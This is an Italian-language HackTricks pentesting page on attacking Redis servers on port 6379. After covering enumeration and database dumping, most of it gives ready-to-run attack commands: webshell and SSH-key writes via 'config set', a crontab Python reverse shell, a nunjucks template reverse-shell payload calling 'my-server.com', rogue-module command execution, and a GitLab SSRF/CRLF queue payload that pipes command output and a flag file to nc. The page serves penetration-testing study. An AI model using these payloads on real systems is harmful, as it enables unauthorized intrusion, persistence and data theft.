# 6379 - Pentesting Redis {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! ## Informazioni di base Da [la documentazione](https://redis.io/topics/introduction): Redis è un **data structure store** open source (con licenza BSD), in-memory, utilizzato come **database**, cache e message broker. Per impostazione predefinita, Redis utilizza un protocollo basato su testo semplice, ma devi tenere a mente che può anche implementare **ssl/tls**. Scopri come [eseguire Redis con ssl/tls qui](https://fossies.org/linux/redis/TLS.md). **Porta predefinita:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` ## Enumerazione Automatica Alcuni strumenti automatizzati che possono aiutare a ottenere informazioni da un'istanza redis: ```bash nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` ## Enumerazione Manuale ### Banner Redis è un **protocollo basato su testo**, puoi semplicemente **inviare il comando in un socket** e i valori restituiti saranno leggibili. Ricorda anche che Redis può funzionare utilizzando **ssl/tls** (ma questo è molto strano). In un'istanza Redis regolare puoi semplicemente connetterti usando `nc` oppure puoi anche usare `redis-cli`: ```bash nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` Il **primo comando** che potresti provare è **`info`**. Potrebbe **restituire un output con informazioni** sull'istanza di Redis **o qualcosa** di simile a quanto segue: ``` -NOAUTH Authentication required. ``` In questo ultimo caso, questo significa che **hai bisogno di credenziali valide** per accedere all'istanza di Redis. ### Autenticazione Redis **Per impostazione predefinita** Redis può essere accessibile **senza credenziali**. Tuttavia, può essere **configurato** per supportare **solo password, o nome utente + password**.\ È possibile **impostare una password** nel file _**redis.conf**_ con il parametro `requirepass` **o temporaneamente** fino al riavvio del servizio collegandosi ad esso e eseguendo: `config set requirepass p@ss$12E45`.\ Inoltre, un **nome utente** può essere configurato nel parametro `masteruser` all'interno del file _**redis.conf**_. {% hint style="info" %} Se è configurata solo la password, il nome utente utilizzato è "**default**".\ Inoltre, nota che **non c'è modo di scoprire esternamente** se Redis è stato configurato con solo password o nome utente+password. {% endhint %} In casi come questo avrai **bisogno di trovare credenziali valide** per interagire con Redis, quindi potresti provare a [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) su di esso.\ **Nel caso tu abbia trovato credenziali valide, devi autenticare la sessione** dopo aver stabilito la connessione con il comando: ```bash AUTH ``` **Credenziali valide** verranno risposte con: `+OK` ### **Enumerazione autenticata** Se il server Redis consente **connessioni anonime** o se hai ottenuto credenziali valide, puoi avviare il processo di enumerazione per il servizio utilizzando i seguenti **comandi**: ```bash INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ] ``` **Altri comandi Redis** [**possono essere trovati qui**](https://redis.io/topics/data-types-intro) **e** [**qui**](https://lzone.de/cheat-sheet/Redis)**.** Nota che i **comandi Redis di un'istanza possono essere rinominati** o rimossi nel file _redis.conf_. Ad esempio, questa riga rimuoverà il comando FLUSHDB: ``` rename-command FLUSHDB "" ``` Maggiore informazione su come configurare in modo sicuro un servizio Redis qui: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) Puoi anche **monitorare in tempo reale i comandi Redis** eseguiti con il comando **`monitor`** o ottenere le **25 query più lente** con **`slowlog get 25`** Trova ulteriori informazioni interessanti su più comandi Redis qui: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **Dumping Database** All'interno di Redis, i **database sono numeri che partono da 0**. Puoi scoprire se qualcuno è utilizzato nell'output del comando `info` all'interno del blocco "Keyspace": ![](<../.gitbook/assets/image (766).png>) Oppure puoi semplicemente ottenere tutti i **keyspace** (database) con: ``` INFO keyspace ``` In quell'esempio vengono utilizzati i **database 0 e 1**. **Il database 0 contiene 4 chiavi e il database 1 ne contiene 1**. Per impostazione predefinita, Redis utilizzerà il database 0. Per eseguire il dump, ad esempio, del database 1 è necessario fare: ```bash SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET [ ... Get Key ... ] ``` In caso tu riceva il seguente errore `-WRONGTYPE Operation against a key holding the wrong kind of value` mentre esegui `GET `, è perché la chiave potrebbe essere qualcosa di diverso da una stringa o un intero e richiede un operatore speciale per visualizzarla. Per conoscere il tipo della chiave, usa il comando `TYPE`, esempio qui sotto per chiavi di lista e hash. ```bash TYPE [ ... Type of the Key ... ] LRANGE 0 -1 [ ... Get list items ... ] HGET [ ... Get hash item ... ] # If the type used is weird you can always do: DUMP ``` **Dump del database con npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty! **Approfondimenti sul hacking**\ Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking **Notizie di hacking in tempo reale**\ Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale **Ultimi annunci**\ Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! ## Redis RCE ### Shell interattiva [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) può ottenere automaticamente una shell interattiva o una reverse shell in Redis(<=5.0.5). ``` ./redis-rogue-server.py --rhost --lhost ``` ### PHP Webshell Info da [**qui**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Devi conoscere il **percorso** della **cartella del sito web**: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "" OK 10.85.0.52:6379> save OK ``` Se l'accesso al webshell è eccezionale, puoi svuotare il database dopo il backup e riprovare, ricorda di ripristinare il database. ### Template Webshell Come nella sezione precedente, potresti anche sovrascrivere alcuni file di template html che verranno interpretati da un motore di template e ottenere una shell. Ad esempio, seguendo [**questo writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), puoi vedere che l'attaccante ha iniettato una **rev shell in un html** interpretato dal **motore di template nunjucks:** ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}} ``` {% hint style="warning" %} Nota che **diversi motori di template memorizzano** i template in **memoria**, quindi anche se li sovrascrivi, il nuovo **non verrà eseguito**. In questi casi, o lo sviluppatore ha lasciato attivo il ricaricamento automatico o devi fare un DoS sul servizio (e aspettarti che venga riavviato automaticamente). {% endhint %} ### SSH Esempio [da qui](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) Si prega di notare che il risultato di **`config get dir`** può essere cambiato dopo altri comandi di exploit manuali. Si consiglia di eseguirlo per primo subito dopo il login in Redis. Nell'output di **`config get dir`** potresti trovare la **home** dell'**utente redis** (di solito _/var/lib/redis_ o _/home/redis/.ssh_), e sapendo questo sai dove puoi scrivere il file `authenticated_users` per accedere via ssh **con l'utente redis**. Se conosci la home di un altro utente valido dove hai permessi di scrittura, puoi anche abusarne: 1. Genera una coppia di chiavi pubbliche-private ssh sul tuo pc: **`ssh-keygen -t rsa`** 2. Scrivi la chiave pubblica in un file : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. Importa il file in redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. Salva la chiave pubblica nel file **authorized\_keys** sul server redis: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK ``` 5. Infine, puoi **ssh** al **server redis** con la chiave privata : **ssh -i id\_rsa redis@10.85.0.52** **Questa tecnica è automatizzata qui:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` L'ultimo esempio è per Ubuntu, per **Centos**, il comando sopra dovrebbe essere: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` Questo metodo può essere utilizzato anche per guadagnare bitcoin :[yam](https://www.v2ex.com/t/286981#reply14) ### Carica il modulo Redis 1. Seguendo le istruzioni da [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puoi **compilare un modulo redis per eseguire comandi arbitrari**. 2. Poi hai bisogno di un modo per **caricare il modulo compilato**. 3. **Carica il modulo caricato** a runtime con `MODULE LOAD /path/to/mymodule.so` 4. **Elenca i moduli caricati** per controllare che sia stato caricato correttamente: `MODULE LIST` 5. **Esegui** **comandi**: ``` 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` 6. Scarica il modulo ogni volta che vuoi: `MODULE UNLOAD mymodule` ### Bypass del sandbox LUA [**Qui**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) puoi vedere che Redis utilizza il comando **EVAL** per eseguire **codice Lua sandboxed**. Nel post collegato puoi vedere **come abusarne** usando la funzione **dofile**, ma [apparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) questo non è più possibile. Comunque, se riesci a **bypassare il sandbox** Lua potresti **eseguire comandi arbitrari** sul sistema. Inoltre, dallo stesso post puoi vedere alcune **opzioni per causare DoS**. Alcuni **CVE per sfuggire da LUA**: * [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### Modulo Master-Slave ​Il master redis sincronizza automaticamente tutte le operazioni con il redis slave, il che significa che possiamo considerare la vulnerabilità redis come un redis slave, connesso al master redis che controlliamo noi, quindi possiamo inserire il comando nel nostro redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` ## SSRF che parla con Redis Se puoi inviare una richiesta **in chiaro** **a Redis**, puoi **comunicare con esso** poiché Redis leggerà riga per riga la richiesta e risponderà semplicemente con errori per le righe che non comprende: ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` Pertanto, se trovi una **vuln SSRF** in un sito web e puoi **controllare** alcuni **headers** (forse con una vuln CRLF) o **parametri POST**, sarai in grado di inviare comandi arbitrari a Redis. ### Esempio: Gitlab SSRF + CRLF a Shell In **Gitlab11.4.7** è stata scoperta una vulnerabilità **SSRF** e una **CRLF**. La vulnerabilità **SSRF** si trovava nella **funzionalità di importazione del progetto da URL** durante la creazione di un nuovo progetto e consentiva di accedere a IP arbitrari nella forma \[0:0:0:0:0:ffff:127.0.0.1] (questo accederà a 127.0.0.1), e la vuln **CRLF** è stata sfruttata semplicemente **aggiungendo caratteri %0D%0A** all'**URL**. Pertanto, è stato possibile **sfruttare queste vulnerabilità per comunicare con l'istanza Redis** che **gestisce le code** di **gitlab** e abusare di quelle code per **ottenere l'esecuzione di codice**. Il payload di abuso della coda Redis è: ``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` E la richiesta **URL encode** **abusando di SSRF** e **CRLF** per eseguire un `whoami` e inviare l'output tramite `nc` è: ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` _Per qualche motivo (come per l'autore di_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _da cui è stata tratta questa informazione) lo sfruttamento ha funzionato con lo schema `git` e non con lo schema `http`._
Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! **Approfondimenti sul hacking**\ Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking **Notizie di hacking in tempo reale**\ Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale **Ultimi annunci**\ Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! {% hint style="success" %} Impara e pratica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Impara e pratica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Supporta HackTricks * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
{% endhint %}